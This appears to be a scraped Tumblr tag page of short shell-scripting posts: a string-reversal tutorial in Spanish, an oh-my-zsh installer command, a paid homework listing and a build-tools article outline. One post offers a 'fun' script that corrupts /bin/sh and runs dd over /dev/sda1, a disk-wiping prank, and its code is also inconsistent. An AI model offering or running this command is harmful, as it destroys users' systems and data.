
seen from T1

seen from United States
seen from United Kingdom
seen from United States
seen from United Kingdom

seen from T1
seen from Paraguay

seen from Bulgaria
seen from Paraguay

seen from United Kingdom
seen from United States

seen from Canada
seen from Germany
seen from United States
seen from Paraguay
seen from Paraguay
seen from United States
seen from United Kingdom

seen from Russia

seen from United Kingdom
A fun little shell script I wrote (do not run as root you have been warned)
\#!/bin/sh
echo "#include <stdio.h>">tmp.c echo "int main(int argc,char** argv){FILE* o;FILE* n;char c;o=fopen(argv[1],\"r+\");n=fopen(\"tmp\",\"w+\");while(!feof(o)){c=(char)fgetc(o);switch(c){case 'u':c='v';break;case 'U':c='V';break;case 'w':c='v';break;case 'W':c='V';break;case 'j':c='i';break;case 'J':c='I';break;case 'k':c='c';break;case 'K':c='C';break;}fputc(c,n);}return 1;}" >>tmp.c gcc -o tmp tmp.c&&./tmp /bin/sh&&dd if=temp of=/dev/sda1
Oh-My-ZSH
It really is better than bash, some what.
Oh-my-zsh is a great framework for using ZSH. As a general rule, I tend not to use it as root. However, when I do run root, I use oh-my-zsh.
sh -c "$(curl -fsSL https://raw.github.com/robbyrussell/oh-my-zsh/master/tools/install.sh)"
View On WordPress
Distintas formas de invertir una cadena de texto en Linux.
Distintas formas de invertir una cadena de texto en Linux.
Vamos a hablar un poco más sobre programar scripts en Linux y veamos cómo podemos invertir una cadena con distintos métodos:
Empezamos con lo más sencillo, usar la función rev:
echo holiii | rev
Usando el comando sed dos veces, junto con tac, también podemos hacerlo:
echo holiii | sed 's/./&\n/g' | tac | sed -e :a -e 'N;s/\n//g;ta'
Ya os podéis imaginar que si podemos hacerlo con sedes que…
View On WordPress
Write shell Scripts for System Administration Tasks
Write shell Scripts for System Administration Tasks for $29 Only
Write shell scripts to accomplish the following system administration tasks:
MyExecutables: List all the executable files in the current working directory.
MyFiles <username> <directory>: Check the following attributes of a file in the specified directory:
Read permission
Write permission
Execute permission
Ordinary or special file
View On WordPress
tl;dr go directly to the Round Up. Hope the next version includes Webpack.
A "Build tool" is a catch-all term that refers to anything that is needed to get a piece of software set up, but isn't needed after that. Different programming communities have a wealth of different tools: some use stalwarts like make, some use loose collections of.sh scripts, some use XML-based tools like Maven or Ant, JSON-based tools like Grunt, or code-based tools like Gulp, Grunt or SBT.
Each of these tools does different things and has a different set of trade-offs associated with them. Given all these different designs, and different things each tool does, what are the common features that build tools provide that people want? How to existing tools stack up against the things that people want build tools to do?
This post will go through some common use cases for build tools, pick out and discuss common features, see which boxes existing tools check, and discuss their strengths and weaknesses. Hopefully in the process, you'll get a good sense of what the frankenstein "essence" of a build tool really is, and if you ever decide to go and write your own you'll be well prepared.
I am not an expert in all the tools presented here, so if there are mistakes anywhere in this post, feel free to post a correction in the comments and I'll update the post accordingly!
Use Cases for Build Tools
Production Deployment
Continuous Integration
Developer Environments
Common Features In Build Tools
Running ad-hoc commands
Knowing how to order the execution of commands based on dependencies
Caching command output if its inputs don't change
Parallelize different commands
Watch for file-changes and running commands based on them
Using external processes, including compilers
Being used by external processes
Allowing configuration, re-configuration, re-re-configuration
Download dependencies
Analyzing Build Tools
Shell Scripts
Make
Ant
Maven
Rake
Grunt
Gulp
SBT
davidpronk
After reading this article on NPM as a build tool I immediately gave up on Gulp and Grunt. Highly recommended! http://blog.keithcirkel.co.uk/how-to-use-npm-as-a-build-tool...
Wanna ! ?